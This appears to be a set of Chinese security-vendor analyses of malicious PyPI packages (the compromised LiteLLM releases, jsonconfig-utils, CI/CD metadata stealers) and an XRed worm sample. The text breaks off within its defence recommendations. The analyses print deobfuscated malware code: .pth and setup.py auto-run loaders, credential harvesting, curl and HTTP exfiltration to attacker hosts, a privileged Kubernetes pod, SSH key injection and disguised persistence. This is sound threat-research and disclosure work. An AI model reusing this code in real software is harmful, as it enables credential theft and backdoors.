恶意代码被植入在 .pth 文件中。由于 Python 在启动时会自动执行 .pth 文件中的代码，攻击载荷在解释器启动阶段即被触发。该恶意代码通过启动子进程执行 payload，而子进程再次触发 .pth 执行，形成类似“分支炸弹”的效果，迅速耗尽系统资源，从而引起研究人员注意。

一次本可长期潜伏的供应链攻击，也因此被意外暴露并及时阻断。

litellm_init.pth

import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('aW1wb3J0IHN....'))"],stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)

1.3 AI供应链安全的脆弱性

根据 Snyk 的分析报告[2]，此次攻击由 TeamPCP 组织发起。攻击者通过入侵 LiteLLM CI/CD 流程中使用的开源安全扫描工具 Trivy，获取了维护者的 PyPI 发布凭证，并利用该凭证发布了包含恶意载荷的 1.82.7 与 1.82.8 版本。

此次事件导致大量敏感凭据被窃取，受影响用户需要立即吊销并替换相关密钥，以避免后续风险扩散。

OpenAI的创始人之一Andrej Karpathy也对此次事件表达了担忧。他指出，现代软件项目往往依赖复杂的依赖链条，一旦其中任意环节被污染，风险将迅速传导至整个系统。攻击者通过不断窃取凭据，可以持续扩大攻击范围，实现级联放大效应。

例如，当前流行的 MCP 工具 browser-use 在 GitHub 上拥有超过 8 万 Star，其依赖链中包含 litellm。在攻击窗口期内使用该工具，可能直接导致用户被攻击。此外，browser-use 官方推荐使用 uvx 启动 MCP 服务，而 uvx 每次执行都会重新拉取依赖，这进一步放大了攻击影响。目前该项目已移除相关恶意依赖。

2. 攻击原理解析

2.1 攻击复现

litellm-1.82.8 通过 .pth 文件加载恶意载荷，使攻击代码在 Python 启动时自动执行。我们复现了相关攻击流程如下：

通过分析其 pyproject.toml，可以发现 litellm_init.pth 被显式打包，在用户安装后会被放置到 site-packages 目录中。

pyproject.toml

2.2 原理解析

通过分析 CPython 源码可以发现，Python 在启动时会自动加载 site 模块，该模块负责初始化运行环境并加载 site-packages 目录。

进一步分析 site.py 可知，其会扫描并执行 site-packages 目录下所有 .pth 文件中的 import 语句。因此，攻击者无需任何用户交互，即可在安装完成后自动触发恶意代码执行。

litellm_init.pth

import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('aW1wb3J0IHN....'))"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)

3. 攻击代码解析

3.1 两种注入方式

两个恶意版本的注入方式存在差异：

• 1.82.7：

  在 litellm/proxy/proxy_server.py 中注入代码

• 1.82.8：

  通过 .pth 文件在启动阶段执行

litellm/proxy/proxy_server.py

...
import subprocess, base64, sys, tempfile, os
b64_payload = "aW1wb3J0IHN1YnBy..."
with tempfile.TemporaryDirectory() as d:
p = os.path.join(d, "p.py")
with open(p, "wb") as f:
f.write(base64.b64decode(b64_payload))
subprocess.run([sys.executable, p])
...

litellm/proxy/__init__.py

from . import *

当 proxy 模块被导入时，恶意代码即被执行。

3.2 恶意代码解析

通过对litellm_init.pth中的恶意代码进行反混淆，我们获得了如下代码。

import subprocess
import tempfile
import os
import base64
import sys
PUB_KEY_CONTENT = """-----BEGIN PUBLIC KEY-----
MIICIj...AAQ==
-----END PUBLIC KEY-----"""
B64_SCRIPT = 
"aW1wb3J0IG9zLH..."
def run():
...
try:
subprocess.run(["openssl", "rand", "-out", sk, "32"], check=True)
subprocess.run(["openssl", "enc", "-aes-256-cbc", "-in", collected, "-out", ef, "-pass", f"file:{sk}", "-pbkdf2"], check=True, stderr=subprocess.DEVNULL)
subprocess.run(["openssl", "pkeyutl", "-encrypt", "-pubin", "-inkey", pk, "-in", sk, "-out", ek, "-pkeyopt", "rsa_padding_mode:oaep"], check=True, stderr=subprocess.DEVNULL)
subprocess.run(["tar", "-czf", bn, "-C", d, "payload.enc", "session.key.enc"], check=True)
subprocess.run([
"curl", "-s", "-o", "/dev/null", "-w", "%{http_code}", "-X", "POST",
"https[:]//models.litellm.cloud/",
"-H", "Content-Type: application/octet-stream",
"-H", "X-Filename: tpcp.tar.gz",
"--data-binary", f"@{bn}"
], check=True, stderr=subprocess.DEVNULL)
except Exception:
pass

从中我们可以看到，攻击者使用RSA公钥加密会话密钥，通过AES-256-CBC加密窃取的数据，最终打包为tar.gz并通过curl外传到 https[:]//models.litellm.cloud/,其为攻击者控制的一个网址。 其具体执行的恶意代码，仍然被base64编码混淆，再次反混淆后，我们得到了最终的攻击脚本，如下所示。

import os,sys,stat,subprocess,glob
...
run('hostname; pwd; whoami; uname -a; ip addr 2>/dev/null || ifconfig 2>/dev/null; ip route 2>/dev/null')
run('printenv')
...
for h in homes+['/root']:
for f in ['/.ssh/id_rsa','/.ssh/id_ed25519','/.ssh/id_ecdsa','/.ssh/id_dsa','/.ssh/authorized_keys','/.ssh/known_hosts','/.ssh/config']:
emit(h+f)
walk([h+'/.ssh'],2,lambda fp,fn:True)
...
emit('/var/lib/postgresql/.pgpass')
emit('/etc/mysql/my.cnf')
emit('/etc/redis/redis.conf')
...

具体攻击逻辑如下：

1.系统信息收集

run('hostname; pwd; whoami; uname -a; ip addr...')
run('printenv')

1.多维度凭据窃取

• SSH密钥: ~/.ssh/id_rsa, id_ed25519, authorized_keys等

• 云服务凭据: AWS（/.aws/credentials)、GCP(/.config/gcloud)、Azure(~/.azure)

• Kubernetes: /var/run/secrets/kubernetes.io/serviceaccount/token,
  kubeconfig等

• 数据库: .pgpass, .my.cnf, Redis/Mongo配置

• Docker: ~/.docker/config.json

• 加密货币钱包: Bitcoin、Ethereum、Solana等密钥文件

3.AWS凭据深度利用

通过IMDSv2获取实例角色临时凭据，并调用Secrets Manager和SSM Parameter Store：

tkn_req=urllib.request.Request('http[:]//169.254.169.254/latest/api/token', ...)
cred_req=urllib.request.Request('http[:]//169.254.169.254/latest/meta-data/iam/s
ecurity-credentials/', ...)
sm=aws_req('POST','secretsmanager',REG,'/','Action=ListSecrets',...)

4.Kubernetes集群渗透
利用ServiceAccount Token横向移动，枚举全集群Secrets，并在每个节点部署特权Pod实现持久化：

pod_manifest={
'hostPID':True,'hostNetwork':True,
'tolerations':[{'operator':'Exists'}],
'securityContext':{'privileged':True},
'volumeMounts':[{'name':'host','mountPath':'/host'}]
}
k8s_post('/api/v1/namespaces/kube-system/pods',pod_manifest)

5.持久化机制
通过systemd用户服务安装后门，定期从C2 (checkmarx.zone) 获取指令：

PERSIST_B64='aW1wb3J0IHVybGxpYi5yZXF1ZXN0...'  # 解码后为下载执行器

创建 ~/.config/sysmon/sysmon.py 和 systemd服务

subprocess.run(['systemctl','--user','enable','--now','sysmon.service'])

3.3 攻击总结

该样本为云原生环境下的高级持续性威胁(APT)工具，具备以下特征：

• 针对多云平台(AWS/GCP/Azure/K8s)的凭据窃取

• 利用容器逃逸和特权Pod实现集群内横向移动

• 加密外传+后门持久化的完整攻击链

• 伪装成”System Telemetry Service”隐藏痕迹

4. 总结

此次针对 LiteLLM 的 PyPI 供应链投毒事件，再次暴露了当前 AI 生态在安全层面的脆弱性。尽管 AI 正在深刻改变我们的工作方式与生活模式，但其底层仍依赖于由大量基础代码构成的工具链，例如 agent、MCP 等组件。一旦其中任意环节遭到攻击，影响便可能迅速放大，给用户带来难以估量的损失。与此同时，AI 系统正逐渐具备更高权限，能够自动执行代码、下载并安装依赖，这在提升效率的同时，也显著扩大了潜在攻击面。在这样的背景下，安全责任的边界变得愈发模糊：是依赖平台治理、开发者自律，还是需要引入以 AI 对抗 AI 的自动化防御机制，这些都值得深入思考。此外，密钥窃取问题尤为值得警惕。一旦攻击者获取有效凭证，便可持续扩大攻击范围，形成连锁风险。因此，密钥管理与访问控制同样应成为 AI 供应链安全的重要防线。

AI 正如一列高速飞驰的列车，推动社会不断向前发展。但若忽视其底层结构的安全隐患，哪怕是一个看似不起眼的“轴承”出现问题，也可能带来系统性的风险。如何在加速创新的同时筑牢安全底座，将是未来 AI 发展过程中必须正视的关键课题。

恶意包列表

参考文献

[1] Supply Chain Attack in litellm 1.82.8 on PyPI. https://futuresearch.ai/blog/litellm-pypi-supply-chain-attack/

[2] How a Poisoned Security Scanner Became the Key to Backdooring LiteLLM. http://snyk.io/articles/poisoned-security-scanner-backdooring-litellm/

跳转微信打开

天问Python供应链威胁监测模块发现 PyPI 中存在恶意包 jsonconfig-utils，该包以 JSON 配置工具为掩护，在 setup.py 中内嵌了完整攻击链。攻击者在安装阶段即可完成反沙箱检测、解密并落地 RAT（远程访问木马）载荷、以及跨平台持久化驻留，最终与 C2 服务器建立加密通信，实现对受害主机的远程控制。

“天问”软件供应链安全分析平台是奇安信技术研究星图实验室研发的针对 Python、npm 等主流开发生态进行长期持续监测的安全分析平台。

1. 包基本信息

该包声称是”轻量级JSON配置加载器”，其主模块 jsonconfig_utils.py 中确实实现了 load_config、ConfigDict、validate_schema 等功能性代码，以增强迷惑性。所有恶意逻辑均集中于 setup.py 中，在 pip install 执行 setup.py 时自动触发。

2. 恶意行为概览

setup.py
├── _check()      — 反沙箱/反分析环境检测，计算置信分
└── _install()    — 主攻击函数（置信分 ≥ 6 时触发）
├── 解码混淆载荷（Base64 + XOR，密钥 0x5A）
├── Windows  — 落地 .pyw、计划任务、注册表 Run 键
├── macOS    — 落地 .py、LaunchAgent、.zshrc 注入、crontab
└── Linux    — 落地 .py、systemd 服务、crontab、SSH 公钥注入（root）

解码后的载荷是一个完整的 RAT Agent，连接 C2 服务器 77[.]246.103.245:443（SSL 加密），上报系统信息并等待远程指令。

3. 反沙箱检测（_check 函数）

攻击者在 _install 执行前通过 _check() 对当前环境进行全面评估，计算一个”置信分”（_s），仅当分数 ≥ 6 时才执行后续攻击。这一机制有效规避了自动化沙箱、CI/CD 扫描器和容器环境的分析。

3.1 容器与 CI 检测

# ── Container detection ──
if _sys == "Linux":
for _p in ["/.dockerenv", "/run/.containerenv"]:
if os.path.exists(_p): _s -= 5
try:
with open("/proc/1/cgroup") as _f:
_cg = _f.read()
if any(_k in _cg for _k in ["docker", "lxc", "kubepods"]): _s -= 5
except: pass
_hn = platform.node().lower()
for _b in ["sandbox", "scan", "test", "build", "runner", "ci-", "worker", "job-", "temp"]:
if _b in _hn: _s -= 3
if os.environ.get("CI") or os.environ.get("GITHUB_ACTIONS") or os.environ.get("JENKINS_URL"):
_s -= 5

每检测到容器特征或 CI 环境变量，置信分减 3～5 分，直接将沙箱环境的分数压至触发阈值以下。

3.2 硬件与系统活跃度检测

# ── Hardware ──
if os.cpu_count() and os.cpu_count() > 2: _s += 2
# 系统运行时长检测（Linux/macOS/Windows 三路分支）
if _up > 3600: _s += 1
if _up < 300: _s -= 3
# ── User activity ──
# 浏览器目录存在性检测（Chrome/Firefox/Safari/Edge）
if any(os.path.isdir(_b) for _b in _bps): _s += 2
# Shell 历史记录大小检测
if os.path.exists(_hf) and os.path.getsize(_hf) > 2000:
_s += 2; break
elif os.path.exists(_hf) and os.path.getsize(_hf) > 500:
_s += 1; break
# Desktop/Downloads 文件数量检测
if _cnt > 10: _s += 2
elif _cnt > 3: _s += 1
# .gitconfig 和 SSH known_hosts 检测
if os.path.exists(os.path.join(_home, ".gitconfig")): _s += 1

3.3 云元数据服务检测

# ── Cloud metadata ──
try:
import urllib.request
urllib.request.urlopen("http[:]//169.254.169.254/latest/meta-data/", timeout=1)
_s -= 3
except: pass

尝试访问 AWS 实例元数据服务地址（169[.]254.169.254），若可达则判断当前环境为云主机/虚拟机，置信分减 3。

4. 混淆载荷解密

_install 函数中内嵌了一段经 Base64 编码 + XOR 加密（密钥 0x5A）的载荷字符串 _E，通过如下方式解密：

_E = "UDM3KjUoLnopNTk..." # 省略，实际长度约 5KB
_K = 0x5A
_d = bytes([b ^ _K for b in base64.b64decode(_E)])
_code = _d.decode()

5. RAT 载荷分析

解密后的载荷实现了一个完整的远控代理（RAT Agent），核心功能如下：

5.1 C2 通信

H="77.246.103.245"
P=443
HB=15 # 心跳间隔（秒）
RB=5 # 初始重连等待（秒）
RM=120 # 最大重连等待（秒）
def sm(s,m):
# 发送消息：4字节大端长度头 + JSON 数据体
d=json.dumps(m).encode()
s.sendall(struct.pack('>I',len(d))+d)
def rm(s,t=45):
# 接收消息：读取4字节长度头，再读取消息体（最大 10MB）
...
return json.loads(d)

代理连接固定 C2 地址 77.246.103.245:443，使用 SSL/TLS 加密通信，通过自定义的长度前缀 JSON 协议收发指令，心跳间隔 15 秒，断线后指数退避重连（最长 120 秒）。

5.2 主机信息收集与上报

def gi():
i={"hostname":"?","username":"?","os_type":"?","os_info":"","pid":os.getpid()}
try:i["hostname"]=platform.node()
except:pass
try:i["username"]=os.environ.get("USER",os.environ.get("USERNAME","?"))
except:pass
...

上线后首先上报主机名、用户名、操作系统类型及版本、当前进程 PID 等基础信息。

5.3 进程隐藏

# Windows：隐藏控制台窗口
if platform.system()=="Windows":
import ctypes
w=ctypes.windll.kernel32.GetConsoleWindow()
if w:ctypes.windll.user32.ShowWindow(w,0)
ctypes.windll.kernel32.FreeConsole()
# Linux/macOS：双 fork 守护进程化
else:
if os.fork()>0:sys.exit(0)
os.setsid()
if os.fork()>0:sys.exit(0)

在 Windows 上通过 Win32 API 隐藏控制台窗口并释放控制台；在 Unix 系统上通过经典的”双重 fork”技术使进程成为孤儿守护进程，脱离终端。

6. 多平台持久化

6.1 Windows

# 落地路径：%LOCALAPPDATA%\Microsoft\Windows\INetCache\IE\msedge_update.pyw
_dir = os.path.join(os.environ.get("LOCALAPPDATA","C:\\Users\\Public"),
"Microsoft","Windows","INetCache","IE")
_fp = os.path.join(_dir, "msedge_update.pyw")
with open(_fp, "w") as f:
f.write(_code)
# 设置隐藏+系统属性
subprocess.run(["attrib","+H","+S",_fp], capture_output=True)
# 时间戳伪造：对齐 cmd.exe 的时间戳
_ref = os.path.join(os.environ.get("WINDIR","C:\\Windows"),"System32","cmd.exe")
_st = os.stat(_ref)
os.utime(_fp, (_st.st_atime, _st.st_mtime))
# 计划任务（ONLOGON，最高权限）
subprocess.run(["schtasks","/Create","/TN","\\Microsoft\\Windows\\WindowsUpdate\\AU_Maint",
"/TR",_tr,"/SC","ONLOGON","/F","/RL","HIGHEST"], capture_output=True)
# 注册表 Run 键
k=winreg.OpenKey(winreg.HKEY_CURRENT_USER,
"Software\\Microsoft\\Windows\\CurrentVersion\\Run",
0,winreg.KEY_SET_VALUE)
winreg.SetValueEx(k,"NGenTask",0,winreg.REG_SZ,_tr)

• 载荷伪装为 msedge_update.pyw（仿冒 Microsoft Edge 更新程序），存放于 INetCache 目录

• 设置隐藏+系统文件属性，普通用户不可见

• 时间戳对齐系统 cmd.exe，干扰取证分析

• 双重持久化：计划任务（用户登录时以最高权限启动）+ 注册表 Run 键

• 使用 pythonw.exe 配合 CREATE_NO_WINDOW（0x08000000）标志启动，无任何可见窗口

6.2 macOS

# 落地路径：~/Library/.Caches/.com.apple.cloudd/cloudd_helper.py
_dir = os.path.join(_home,"Library",".Caches",".com.apple.cloudd")
_fp = os.path.join(_dir,"cloudd_helper.py")
# 时间戳伪造：对齐 /usr/bin/login
_ref = "/usr/bin/login"
_st = os.stat(_ref)
os.utime(_fp, (_st.st_atime, _st.st_mtime))
os.utime(_dir, (_st.st_atime, _st.st_mtime))
# LaunchAgent 持久化
_pd = {"Label":"com.apple.icloud.cloudd",
"ProgramArguments":[_py,_fp],
"RunAtLoad":True,
"KeepAlive":{"SuccessfulExit":False},
"StandardOutPath":"/dev/null",
"StandardErrorPath":"/dev/null"}
with open(_plist,"wb") as f:
plistlib.dump(_pd, f)
subprocess.Popen(["launchctl","load","-w",_plist], ...)
# .zshrc 注入（伪装为 conda 初始化块）
_block = "\n# >>> conda initialize >>>\n"
_block += "# !! Contents within this block are managed by 'conda init' !!\n"
_block += f"( {_py} {_fp} &>/dev/null & ) 2>/dev/null\n"
_block += "# <<< conda initialize <<<\n"
# crontab 兜底
_ct=_ct.rstrip()+"\n@reboot "+_py+" "+_fp+" &>/dev/null &\n"

• 载荷伪装为 cloudd_helper.py，目录名 .com.apple.cloudd 仿冒苹果 iCloud 守护进程

• 时间戳同步至系统 /usr/bin/login，目录时间戳也一并伪造

• 三重持久化：LaunchAgent（系统级）+ .zshrc/.zprofile 注入 + crontab @reboot

• .zshrc

   注入内容伪装为 Conda 初始化代码块，极难被普通用户察觉

6.3 Linux

# 落地路径（依权限）
if _is_root:
_dir = "/usr/lib/systemd/.systemd-journal-gcd"   # root
else:
_dir = os.path.join(_home,".local","share",".systemd-cache")  # 普通用户
# 时间戳伪造：对齐 /bin/ls
_ref = "/bin/ls"
_st = os.stat(_ref)
os.utime(_fp, (_st.st_atime, _st.st_mtime))
os.utime(_dir, (_st.st_atime, _st.st_mtime))
# SSH 公钥注入（仅 root）
_pk = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQAB...（省略）... ops"
with open("/root/.ssh/authorized_keys","a") as f: f.write("\n"+_pk+"\n")
# systemd 服务
_svc = f"[Unit]\nDescription=Journal Storage GC\n...\n[Service]\nExecStart={_py}{_fp}\nRestart=always\nRestartSec=30\n..."
subprocess.run(["systemctl","enable",_sn], ...)
subprocess.run(["systemctl","start",_sn], ...)
# crontab（重启 + 每6小时检活）
_ct+="@reboot "+_py+" "+_fp+" &>/dev/null &\n"
_ct+="*/360 * * * * pgrep -f "+os.path.basename(_fp)+" || "+_py+" "+_fp+" &>/dev/null &\n"
# /etc/profile.d shell 劫持（仅 root）
_script = f"#!/bin/sh\n# System locale configuration\npgrep -f {os.path.basename(_fp)} >/dev/null 2>&1 || {_py}{_fp} &>/dev/null &\n"
with open("/etc/profile.d/locale-setup.sh", "w") as f: f.write(_script)

• 落地文件名 journald-gc.py（root）/ cache-gc.py（普通用户），模拟 systemd 内部组件

• 时间戳对齐系统 /bin/ls，目录时间戳同步

• root 专属攻击：SSH 公钥注入

   — 将攻击者 RSA 公钥（标签 ops）写入 /root/.ssh/authorized_keys，实现永久 SSH 后门，独立于 RAT 存活

• 四重持久化：systemd 服务 + crontab（重启+定时检活）+ /etc/profile.d/locale-setup.sh 全局 shell 脚本劫持（root）

• 文件 /etc/profile.d/locale-setup.sh 伪装为”系统区域设置配置”，任何用户登录 shell 时均会触发。

7. 攻击链总结

pip install jsonconfig-utils
│
▼
setup.py 执行
│
├─► _check() 环境评分
│    ├── 容器/CI/云环境 → 减分 → 分数 < 6 → 终止
│    └── 真实用户主机 → 分数 ≥ 6 → 继续
│
▼
_install() 触发
│
├─► Base64 解码 + XOR(0x5A) 解密 → RAT 源码
│
├─► Windows: 落地 msedge_update.pyw
│    ├── 计划任务 AU_Maint（ONLOGON + HIGHEST）
│    ├── 注册表 Run 键 NGenTask
│    └── 立即以 pythonw.exe 静默启动
│
├─► macOS: 落地 cloudd_helper.py
│    ├── LaunchAgent com.apple.icloud.cloudd
│    ├── .zshrc/.zprofile 注入（conda 伪装）
│    ├── crontab @reboot
│    └── 立即后台启动
│
└─► Linux: 落地 journald-gc.py / cache-gc.py
├── SSH 公钥注入（root）
├── systemd 服务（enable + start）
├── crontab（@reboot + */360min 检活）
├── /etc/profile.d/locale-setup.sh（root）
└── 立即 start_new_session 启动
│
▼
RAT Agent 运行
│
└─► SSL 连接 77.246.103.245:443
├── 上报主机信息
├── 心跳（15s）
└── 等待并执行远程指令

8. 关键 IoC（失陷指标）

9. 总结

jsonconfig-utils 是一个具有较高技术水准的供应链攻击包，攻击者在其中综合运用了多种对抗分析技术和跨平台攻击手段：

1. 伪装合法功能

   ：主模块 jsonconfig_utils.py 实现了完整的 JSON 配置工具功能，以降低安全扫描工具和人工审查的警惕性。

2. 精密反沙箱检测

   ：通过容器检测、CI 检测、硬件指纹、用户行为痕迹、云元数据等多维度综合评分，仅在确认为真实用户环境时才触发攻击，有效规避自动化检测。

3. 双重混淆载荷

   ：RAT 代码经 Base64 + XOR 双重加密存储，静态特征难以识别。

4. 跨平台攻击

   ：同一个 setup.py 针对 Windows、macOS、Linux 三个平台分别实现了定制化的落地路径、持久化机制和进程隐藏方式。

5. 多重持久化 + 时间戳伪造

   ：每个平台均部署 2 种以上持久化机制互为兜底，并对落地文件的时间戳进行伪造，增加取证难度。

6. SSH 后门（Linux root）

   ：在获得 root 权限的 Linux 环境中额外注入 SSH 公钥，即使 RAT 进程被清除，攻击者仍可通过 SSH 重新进入系统。

建议用户避免安装不可信的第三方 Python 包，天问Python供应链威胁监测模块将持续对 PyPI 进行监测。

恶意包信息

跳转微信打开

近期，天穹沙箱团队在常规样本狩猎分析工作中，发现 XRed 家族最新变种—一款基于 Delphi 编写的蠕虫病毒，该样本通过伪装成合法软件、多进程落地执行等手段，试图规避安全检测，并实现对受害主机的持久驻留。

一、概述

近期，天穹沙箱团队在常规样本狩猎分析工作中，发现 XRed 家族最新变种—一款基于 Delphi 编写的蠕虫病毒，该样本通过伪装成合法软件、多进程落地执行等手段，试图规避安全检测，并实现对受害主机的持久驻留。

二、样本信息

• 样本名: SB360.exe

• SHA1: 0dc1b2aa1b7e628c2c85dfda891683dd13af845a

• 文件类型: EXE

• 文件大小: 5.31 MB

• 家族归属: XRed家族

• 报告链接: 

  [天穹沙箱分析报告](https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=c107d81046ee7d61c9d4d8cc0ea7702e&sk=68147171)

三、样本分析

样本进程 SB360.exe 执行后释放文件 ._cache_SB360.exe，并将该文件属性修改为隐藏以降低被用户发现的概率，随后立即执行该文件。同时，样本进程通过创建名为 Synaptics Pointing Device Driver 的自启动项建立持久化机制，使 Synaptics.exe 在系统启动时自动运行，如图 2 所示。Synaptics.exe 启动后会访问域名 xred[.]mooo[.]com 和 freedns[.]afraid[.]org 进行网络通信，如图 3 所示。

._cache_SB360.exe 进程随后释放 HD_._cache_SB360.exe 和 svchost.exe 文件，并通过创建系统服务的方式运行 svchost.exe，从而间接执行 HD_._cache_SB360.exe 文件。同时，该进程还设置 ._cache_SB360.exe 自身以及 HD_ls.exe 为开机自启动程序，并访问域名 qq678833[.]f08[.]87yun[.]club。如图 4、5、6 所示。

HD_._cache_SB360.exe 释放并执行 ._cache_HD_._cache_SB360.exe 文件。._cache_HD_._cache_SB360.exe 进程进一步释放并执行 HD_._cache_HD_._cache_SB360.exe 和 GLk.exe 程序。如图 7 所示。

HD_._cache_HD_._cache_SB360.exe 进程将自身拷贝到 C:\WINDOWS\System32\Abrst.exe 并创建系统服务，访问域名 5614894156aa[.]e1[.]luyouxia[.]net。如图 8、9、10 所示。

GLk.exe 进程会创建系统服务，并利用系统 svchost.exe 加载 53727812.bat(实际为 DLL 文件)以实现持久化驻留，并访问域名 kinh[.]xmcxmr[.]com。如图 11、12 所示。

沙箱报告进程信息部分展示了样本执行过程释放和创建子进程执行的逻辑关系，如图 13 所示。

综上分析，该样本在执行后通过多级释放和执行子文件的方式构建了较为复杂的恶意执行链。SB360.exe 作为初始入口程序，通过释放并执行隐藏文件 ._cache_SB360.exe 实现后续恶意模块的加载。同时，攻击者利用伪装为系统驱动组件的自启动项 Synaptics Pointing Device Driver 建立初始持久化机制，并通过 Synaptics.exe 与外部域名建立通信。

随后，恶意程序通过持续释放新的可执行文件（如 HD_._cache_SB360.exe、._cache_HD_._cache_SB360.exe、GLk.exe 等）逐级扩展其功能，并通过创建系统服务、设置开机自启动等方式实现多重持久化。同时，样本利用 svchost.exe 加载恶意组件以提高隐蔽性，并通过多个动态域名与外部服务器保持通信，从而实现远程控制或后续载荷的下载执行。

四、IOC

恶意文件（MD5）

7f9f21ed23c68b5452945d6595ba589 SB360.exe
95eb3a84be9bd0ae9e970f95df889584 ._cache_SB360.exe
e6602803d2908eb659e19d7bb39a2a8c svchost.exe
bc83f5c2166951713d82178e0e8bb5a8 Synaptics.exe

恶意IOC

kinh[.]xmcxmr[.]com
xred[.]mooo[.]com
qq678833[.]f08[.]87yun[.]club

报告链接：[天穹沙箱分析报告](https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=c107d81046ee7d61c9d4d8cc0ea7702e&sk=68147171)

天穹智能分析平台（联系我们申请账号）：https://sandbox.qianxin.com

跳转微信打开

天问监测模块在2026年2月发现了一批针对CI/CD的恶意软件包，通过包名伪装来诱导用户下载，在依赖安装阶段隐蔽执行恶意代码，从而窃取CI运行环境中的构建元数据与敏感环境变量。

天问供应链威胁监测模块是奇安信技术研究星图实验室研发的“天问”软件供应链安全分析平台的子模块，”天问“分析平台对Python、npm等主流的开发生态进行了长期、持续的监测，发现了大量的恶意包和攻击行为。

1. 背景

随着 DevOps 和 CI/CD（Continuous Integration / Continuous Deployment）流程在软件工程中的广泛采用，自动化构建、测试和部署流水线已成为现代软件交付的核心基础设施。在这一过程中，CI/CD 系统通常需要从公共软件仓库（如 PyPI、npm、Maven Central 等）动态下载并安装大量第三方依赖包，以完成构建、测试及部署任务。

然而，这种高度自动化、强依赖第三方组件的模式，也显著扩大了软件供应链的攻击面。攻击者可以通过向公共包仓库投递恶意依赖包（Malicious Package），诱导 CI/CD 流水线在构建阶段自动执行恶意代码，从而实现：

• 敏感 CI 环境变量窃取（如 API Token、云平台密钥、SSH 私钥）

• 内网资产探测与横向移动

• 构建产物投毒，植入后门

• 持久化后门部署

2. 攻击样本概述

星图实验室天问软件供应链监测系统在春节期间发现了PyPI中出现的针对CI/CD的恶意软件包。我们挑选了其中3个来系统分析其攻击逻辑及危害，即http_notifier_test-1.0.0、ci_metadata_python_logging-0.1.0、pylibcugraphops-23.12.0。这些样本在命名、功能描述和行为逻辑上，均明显针对 CI/CD 场景进行定向投毒，具有典型代表性。

从命名风格可观察到，攻击者刻意采用“CI”、“metadata”、“logging”、“test”等关键词，使包名看起来高度贴合自动化构建、测试与日志采集场景，从而降低人工审查与用户警惕。

3. 恶意行为分析

3.1 利用 setup.py 触发自动执行

三个样本均将恶意逻辑嵌入于 setup.py 中。由于 Python 包在安装时会自动执行 setup.py，因此攻击者可在 pip install 阶段实现无感执行，极其适合 CI/CD 场景。这一阶段通常发生在：

• CI Runner

• GitHub Actions / GitLab Runner

• Jenkins Agent

• 云原生构建节点

且大多以 高权限、全自动、无人工干预 的方式执行，为攻击者提供了极佳的攻击窗口。

3.2 CI 环境识别与定向攻击

恶意样本通常首先检测是否运行在 CI/CD 环境中：

import os
if "CI" in os.environ or "GITHUB_ACTIONS" in os.environ:
# 执行恶意逻辑

我们发现的三个样本，均在setup.py中尝试获取CI相关环境变量信息

http_notifier_test

ci_metadata = {
"ci": os.environ.get("CI"),
"github_actions": os.environ.get("GITHUB_ACTIONS"),
"github_workflow": os.environ.get("GITHUB_WORKFLOW"),
"github_run_id": os.environ.get("GITHUB_RUN_ID"),
"github_run_number": os.environ.get("GITHUB_RUN_NUMBER"),
"github_run_attempt": os.environ.get("GITHUB_RUN_ATTEMPT"),
}

ci_metadata_python_logging

ci_metadata": {
"ci_detected": os.environ.get("CI", "false"),
"gh_actions": os.environ.get("GITHUB_ACTIONS"),
"gh_workflow": os.environ.get("GITHUB_WORKFLOW"),
"gh_run_id": os.environ.get("GITHUB_RUN_ID"),
"gh_actor": os.environ.get("GITHUB_ACTOR"), # Who triggered the run
"gh_ref": os.environ.get("GITHUB_REF"),     # Branch or tag
"git_commit": os.environ.get("GITHUB_SHA")
}

pylibcugraphops

params = {
"ip": ip,
"ci": os.getenv("CI"),
"gh_act": os.getenv("GITHUB_ACTIONS"),
"gh_wf": os.getenv("GITHUB_WORKFLOW"),
"gh_id": os.getenv("GITHUB_RUN_ID"),
"gh_num": os.getenv("GITHUB_RUN_NUMBER"),

这些CI数据可以使攻击者精确定位受害项目的构建流程与代码状态，进而实现高度定向攻击，同时对于记录的CI流水线的GitHub用户身份，可以依此来构建针对性的钓鱼攻击。

3.3 HTTP外联通信

这些恶意样本均实现了HTTP 外联模块，用于将窃取的数据发送至攻击者服务器。

http_notifier_test

BEACON_URL = "http[:]//164.90.176.41:23444"
...
# Send POST request with IP info
json_data = json.dumps(data).encode('utf-8')
req = urllib.request.Request(
BEACON_URL,
data=json_data,
headers={'Content-Type': 'application/json'}
)
urllib.request.urlopen(req, timeout=3)

ci_metadata_python_logging

# 3. Send to Webhook
# Note: example.com is a placeholder; use your webhook.site URL
webhook_url = "https[:]//webhook.site/5940aa52-b829-4f0d-afe2-08d29d2922d0" 
req = urllib.request.Request(
webhook_url,
data=json.dumps(payload).encode("utf-8"),
headers={"Content-Type": "application/json"},
method="POST"
)
# Short timeout ensures the install doesn't "hang" if the site is down
urllib.request.urlopen(req, timeout=5)

pylibcugraphops

WEBHOOK_URL = "https[:]//webhook.site/1cee78e0-32f4-4e76-8f9d-f2bfa58784f9"
COLLAB_DOMAIN = "your-collab-domain.oastify.com"
...
query = "&".join([f"{k}={v}" for k,v in params.items() if v])
url = f"{WEBHOOK_URL}?{query}"
subprocess.Popen(
["curl", "-m", "3", "-s", url],
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL
)

从这些代码的结构和注释，我们不难发现这些攻击样本来自于固定的模版，攻击者只需修改其中的服务器地址就能实施攻击。

而且pylibcugraphops包名接近真实 CUDA / cuGraph 生态组件，描述信息中显示该包为依赖测试。如果这个包被攻击者使用依赖攻击来下载使用，将非常难以检测排查。这些恶意软件包针对的目标受众可能为高性能计算CI环境，一旦被攻破，其中的模型权重、私有数据、商业算法等高价值的内容都可能遭到窃取。

4. 防御与缓解建议

针对 CI/CD 环境中存在的恶意依赖投毒风险，应从依赖完整性校验、运行环境权限控制、构建阶段动态监控以及供应链威胁检测四个方面构建系统化防护体系。

• 依赖完整性校验：

   对第三方依赖实施版本与哈希锁定，结合 pip install –require-hashes 机制，并统一使用受控的软件仓库，防止恶意包混入构建流程。

• 运行环境最小权限化：

   遵循最小权限原则，避免默认注入高权限访问令牌，对 CI 任务实施分级授权，并将构建节点与生产环境进行隔离，降低凭据泄露带来的扩散风险。

• 构建阶段动态监控：

